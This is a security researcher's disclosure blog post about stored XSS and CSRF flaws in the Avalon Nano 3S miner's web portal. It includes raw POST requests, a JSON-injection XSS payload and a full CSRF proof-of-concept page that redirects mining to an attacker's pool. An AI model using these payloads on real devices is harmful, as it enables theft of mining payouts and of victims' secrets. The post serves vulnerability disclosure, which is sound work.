Avalon Nano 3s XSS and CSRF Vulnerabilities

Finding more vulnerabilites in Bitcoin Miners

I recently picked up a Canaan Avalon Nano 3S Bitcoin Miner. It is a great little bitcoin miner / heater, but as I am wont to do I had a poke around in the mobile app and web portal and found a stored Cross Site Scripting (XSS) and Cross Site Request Forgery (CSRF) vulnerability.

Stored XSS

When updating the pool config in the web portal as shown below.

The following post request is generated.

POST http://192.168.1.110/cgpools.cgi HTTP/1.1
host: 192.168.1.110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Referer: http://192.168.1.110/poolconfig.cgi
Content-Type: application/x-www-form-urlencoded
content-length: 399
Origin: http://192.168.1.110
Connection: keep-alive
Cookie: auth=ce454b528398bba1a846a48fd49d6a1f
Priority: u=0

pool1=stratum%2Btcp%3A%2F%2Fmine.ocean.xyz%3A3334&worker1=address.nano3s&passwd1=x&pool2=stratum%2Btcp%3A%2F%2Fmine.ocean.xyz%3A3334&worker2=address.nano3s&passwd2=password&pool3=&worker3=&passwd3=

The nano 3s is restarted and your config is applied.

Visit the home page of the web portal the JavaScript will poll the endpoint "http://192.168.1.110/get_dashboard.cgi?num=0.8322639313586218" which returns the following JSON container the various config settings and values that are displayed on the dashboard.

{
    "hwtype": "Avalon Nano3s",
    "sys_status": "1",
    "elapsed": "252",
    "workingmode": "2",
    "workingstatus": "1",
    "power": "133",
    "realtime_hash": "4.81",
    "average_hash": "6.16",
    "accepted": "1",
    "reject": "0",
    "rejected_percentage": "0.00",
    "fan_status": "1380",
    "fanr": "30",
    "asic_status": "0",
    "ping": "138",
    "power_status": "0",
    "pool_status": "1",
    "current_pool": "1",
    "address": "stratum+tcp://mine.ocean.xyz:3334",
    "worker": "address.nano3s",
    "mac": "00:0e:c6:a1:af:ac",
    "version": "25061101_97e23a6",
    "pool1": "stratum+tcp://mine.ocean.xyz:3334",
    "worker1": "address.nano3s",
    "passwd1": "x",
    "pool2": "stratum+tcp://mine.ocean.xyz:3334",
    "worker2": "address.nano3s",
    "passwd2": "password",
    "pool3": "",
    "worker3": "",
    "passwd3": ""
}

Now back on the pool config screen, when we update the pool config we can actually inject JSON which will be returned to the dashboard and rendered. In the below example i use the payload:

test", "realtime_hash":"<img src=x onerror=alert(/xss/)>

Which injects an XSS payload (image tag) into the realtime_hash json value.

POST http://192.168.1.110/cgpools.cgi HTTP/1.1
host: 192.168.1.110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Referer: http://192.168.1.110/poolconfig.cgi
Content-Type: application/x-www-form-urlencoded
content-length: 399
Origin: http://192.168.1.110
Connection: keep-alive
Cookie: auth=ce454b528398bba1a846a48fd49d6a1f
Priority: u=0

pool1=stratum%2Btcp%3A%2F%2Fhel%3A23334&worker1=address.nano3s&passwd1=password&pool2=stratum%2Btcp%3A%2F%2Fmine.ocean.xyz%3A3334&worker2=address.nano3s&passwd2=password&pool3=test&worker3=test.nano3s&passwd3=test", "realtime_hash":"<img src=x onerror=alert(/xss/)>

Now when you visit the home page again the injected JSON payload is rendered into the dashboard and the XSS payload is executed.

And we can see the payload in the json returned by get_dashboard.cgi.

The payload is executed every time the data is refreshed every few seconds.

{
     "hwtype": "Avalon Nano3s",
     "sys_status": "1",
     "elapsed": "127",
     "workingmode": "2",
     "workingstatus": "1",
     "power": "134",
     "realtime_hash": "<img src=x onerror=alert(/xss/)>",
     "average_hash": "4.08",
     "accepted": "0",
     "reject": "0",
     "rejected_percentage": "0.00",
     "fan_status": "1320",
     "fanr": "28",
     "asic_status": "0",
     "ping": "0",
     "power_status": "0",
     "pool_status": "1",
     "current_pool": "1",
     "address": "stratum+tcp://mine.ocean.xyz:3334",
     "worker": "address.nano3s",
     "mac": "00:0e:c6:a1:af:ac",
     "version": "25061101_97e23a6",
     "pool1": "stratum+tcp://mine.ocean.xyz:3334",
     "worker1": "address.nano3s",
     "passwd1": "x",
     "pool2": "stratum+tcp://mine.ocean.xyz:3334",
     "worker2": "address.nano3s",
     "passwd2": "password",
     "pool3": "test",
     "worker3": "test",
     "passwd3": "test"
 }

CSRF

The cgpools.cgi endpoint does also not have cross site request forgery protection.

If an attacker was to host the following proof of concept code on a website, and a user that is authenticated to their Avalon Nano 3S miner visited this site. The form would be submitted and the Avalons pool configuration would be updated to any value desired by the attacker, inlcuding adding their own pool address and therefore stealing any payouts.

<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CGPools Configuration</title>
</head>
<body>
    <h2>CSRF PoC - Pool Configuration Change</h2>
    <p>Warning: This form will modify mining pool settings when submitted</p>
    <p>currently you have to clcik the submit button but this could be executed automatically on page load</p>

    <form action="http://192.168.1.110/cgpools.cgi" method="POST" id="csrfForm">
        <input type="hidden" name="pool1" value="stratum+tcp://hel:23334">
        <input type="hidden" name="worker1" value="address.nano3s">
        <input type="hidden" name="passwd1" value="password">
        <input type="hidden" name="pool2" value="stratum+tcp://mine.ocean.xyz:3334">
        <input type="hidden" name="worker2" value="address.nano3s">
        <input type="hidden" name="passwd2" value="password">
        <input type="hidden" name="pool3" value="csrf">
        <input type="hidden" name="worker3" value="csrf">
        <input type="hidden" name="passwd3" value="csrf">

        <button type="submit">Execute CSRF Attack</button>
    </form>

    <!-- Auto-submit version (uncomment to auto-execute) -->
    <!--
    <script>
        // WARNING: This will automatically submit the form
        // document.getElementById('csrfForm').submit();
    </script>
    -->

    <hr>
    <p><strong>Educational Purpose Only:</strong> This PoC demonstrates CSRF and Stored XSS vulnerability impact.</p>
</body>
</html>

The POC above is currently hardcoded to the internal IP address of 192.168.1.110, but this could easily be updated to fire the payload at all internal addresses until it got a hit.

POC page

Resulting config change.

attack chaining

The CSRF Vulnerability can also be leveraged to deliver a payload for the stored XSS vulnerability.

Allowing an attacker to inject arbitrary code into the dashboard which is stored and executed every time the victim visits their dashboard. this payload might be used to capture sensitive data from an unsuspecting victim like seed phrases or redirect them to other phishing sites for example.

timeline

  • I initially contacted Canaan on January 2nd, and inquired if they had a process for reporting security vulnerabilities or a contact i could send the relevant information to. I initially received a generic hardware related support email.
  • I then sent a following up email on January 28th with a link to this blog post (which I had not yet made public).
  • I received an email from Canaan saying the information had been passed onto the technical department.
  • I then had no response until I emailed Canaan again on the 3rd of March requesting an update.
  • I received a email saying there was no update.
  • I have not had any further updates from Canaan since.
  • I have now decided to make the blog post public. and lets just hope some fixes from Canaan will arrive in the near future.
Shaun

About the author

Shaun is a Penetration Tester and Bitcoiner, with over a decade in the Security Industry, specialising in Cloud and Infrastructure Security and regularly completing assessments for all manner of companies from global corporations to small charities and non profits.